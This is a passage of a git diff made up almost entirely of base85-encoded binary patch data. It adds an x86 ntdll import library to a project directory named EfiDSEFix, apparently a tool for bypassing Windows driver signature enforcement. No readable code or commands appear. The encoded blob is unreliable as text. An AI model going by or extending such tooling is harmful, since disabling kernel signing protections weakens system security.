zNva))cC$VBt-F*)i%MTVjc(K3+@@vszLN}(YA->jS+@YpwW`&PG9S0Jsh$8rI*%xC zeJh*Cq0(t_EmXvW^k=u68!97-{KegKn&V+sC(4lw0T5{kGG49u0~wG`zK*dm;PLp1!By)t7ek`a3iXRE@Zo zVZ^;!uO7!1M5^sbj=fVxy|=n-A;fcoPwLpqHGlN8+u~JBZ z=3@VXuw66XNQ%4UjFk~daX>-PN#Qvu-J3M(K*P|@1RABgX5Sx~1b0gbnpr>+9F%=u zCxIs$yARF5-I>r_h+C=^hw{qzFa&O~x_!`EaY0gxyB28E8p9c#Hr+G(zHTmn1ouh_ zqtd2>v+t`UKpycSOjxGJ13ToUswilmxVNE1%k_Fk<=Z31eNskTU+!2YR_uqM)qN;4 z=*rfa4nn#n&|Y*{L5Ox)VuWPe*DzY0Zrti?yeXtthuaL5UZGR_`z4fKz1CWAAmUj^ zlp_+#%FuwxDIf=Sq(f0k8;!|8X)wAf*kSQf-MCS{D$eyvRz%@sSW70`ZhsKLK zAtxl1VYf~^>*xe`+@Xwa%qCJ!fH4E-#2Z|SBaYNUqPf|aaE65u&kfS$6PdD7@0GS* zIRj+lPD&Z0^B^Wu!YDn6lQTwna~F>l@*qx0DP>4V&6-LX{WfpF8b2HPDbp!M>8F6` zXOkgRCL-i>0#^KH!|7##iE728+}4cYQ10ED66w67896okzBB1!0?2L6ri7+O0?$nB zNs+=FeZMxZ%C~zer}m<+Z{e>~CwlA0i}h$N`2JS&eP?=ue*d)O`}W|=zYpyAHv0a2 zFRFFxc5p7%A233XBtkukbrJymIi0`X9+m!_L0?~R)l)wHV0Ar;zu#;-jbg>459asL z^nE_cYz^!~*^q?Cq=e3r=3EZhxW^hoo$eXhN)%Ft?S{~Z7oGNVAqkH&gvD;HqgrQR zrfY`KJC}SyMl$TvlMw~Fp%OWV_%!E-^Dlr4a5IYjauJT}s*Eg8+ zreO>r#Bv~iX_**J?S2Zpffj$iy*Q$^-8NruE$YtwQ0(3z!t#8t-=_H85<)%)ASZYh zGw2X@$=)b}61pkDIUWs4=%s|wog?>if)gCdr2u>OAYpK8W^1ygYZ}>&odv-WL&{hS z^l2qwPLOxDlRqrA~r)?*H#lIi;;H&iYvwHLzmG$$*-v__`Z2EpLwnI?y*MSZ_ zp1(eHBrPQ%9eP4R(CH9}5}(M7vz#fAYY@=UC-L{qQMWb8ast>rpPUn%L6S3o6i;CW z9Y5D>Rh1Kf6i>|wqm$xkDPwf|&(l-F==Psyq=eD!KhMkw%9#MR<5?-A*HKv~ps~+R z2+ha_$Tb$o@SKFuau-EN`}f>};7o;-f#TBVWei7ULlT~!5ge7363{;Jf`Txzae86O za1}}_1)7N$C4|m=*S?MslJMe$Kq*(-0T&a%s(VR7aF?}w)d9jwQ$pVsK~4ZW(aRD- zzrDjzCOHF0@$!seCl=)dV4Yr(5e7CwJl9~HUde<2C(7vD`c)P~Hyg-)yxLIo^@wYM zFa8>0xW_@_xd5~MTK;;woNNk7c%31PGQ0SCLs%&bAzu|hXWx)8%3_EasM_X@#Mn78 zzc|C?&8nOK=nnFmT*|h%zcka07Gh1!Hp&mZnR&zEo_yp$UFBOWhH|xo`s246N@}(ok#z2` literal 0 HcmV?d00001 diff --git a/Application/EfiDSEFix/lib/x86/ntdllp.lib b/Application/EfiDSEFix/lib/x86/ntdllp.lib new file mode 100644 index 0000000000000000000000000000000000000000..00b2db3036d5301d422d4671847223b735bab36d GIT binary patch literal 485602 zcmbS!4VYckRrVDo38j=GrAR47N+VKAX$T=rk0wk1ip8w;4w&G7yf3@ zzk&Z+Be)$Bc;!gJHITr6?19?xWuXL2)Mo8et4i#Ju3GB9q;A}|3D+aqym--k_ zKmvWkg8LzXMXLpOK>~}H32uM{mK-3s2$Jxc!5%ZEKE~saz`F(n@bNBSPxxV62MN4; z9|6+(ZeXu{1(!eq@7YUm79`a3Z8-l4%;d~-VOtPdZpl2 zNZ@efk8u+u@X><>S3(lrHaMbE>SH_%34Cn10Gy8jN0tONNWzl_A4h#)+yx07b(jEo zItus%>KWrQNMIStlL4R0fTNEPKzB3&=^-pf9E@imfn)F-84o}LE0zn8rxn1lhX}5M z1Xk`LI0uq|=R)`-o(ltY`IEq^bpkw-RluiEevF$Tf#VJnTn!2Q%>IIlA%Wu;3wA;h z5C`GYX9}K$1Wwp2cnlKw%&-8@>@&dXRRYAh8t6Y%fV}hrYxWe(K@wgtSbJKjkMR&B zFt9=Zn*m^O9|6i>kg&^O-5I4m#>0@niN^_UfdtkcD7XNU06W4E>=;i#0w>}5Gj4|j zPF^aw6cQNj6LcU6&lzkOF7+|)g#)R68J3qF!1a? z3yd8hK;FlIapa$YypI!*2g1aR0C|`IHmwuf1_^9FSb#ii2DYI58D~QhUNJbOQtD$o z0ttL>wcr*=VCzAG3m^%v8+;z|Gf)>k51e|u0A+Y8@CD?9f#1j%fYbI8oC`_VWpMiD zQXk_1NZ^c>f}0?LGV;N=91@sBd&NLnCV?sZ&FDZ9@O%iB5y731KytX?8c1MzKLN^O zn(&&zHsp)(BqT5cKMXwM8K8QU;95xF%)JHYKoZ_C*j_93F`k74YNLXCAc5Isf?FYh zI?9=G5hTz+y<;G44Z<#i=47dl@i-*##r1+aAb}Rr$G8p>XrtU2NJE=2XV8Hi19hbX zbP+$}3P@mXv0x`8;bnszXO#LFk3a%D2L$&*0`toSh9)SdYWwiix<5z%-j}Y7d3H&PZ#kd#}xMVj$4U+Jz!IvjWeGKI3 z%fO{5SH{hdz*i0xAZ=d(F563R9wcFx!LOm58OY-J%9jBj ze*oN!^fBn)z#r}{I2)3%%ixxoQXk`KNZ{)z2L_($*MVD)65Id@{L#LG3n2-w8r%jy z4Ai^ZfIo&G#yyb0?JES=Kmvb)^f1nXB)n*F$3&@*fw=Dg{&c0_CP?7U!v&W@65cfU zvolM54CLX@fV)u6jJqL$KR-fn6(n#s;%8g{NqF7hFW`sq3?y*Rdcm!bz+WCFxB?Qm z7k(HQLIQuan_v!-u*=}SGfI7oCm?~p9u_(33$9DXhIU6 zGWh3pr9KAo@Xx>#O9ilb0{AAL0|PeS1fB$+@XeoG5fb>< zX~DCQz;k$>45Z;X;NMVh7!N}N T1_}K8asmAtcww0Ud3^!+k0S)vLjo_Nycx** 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 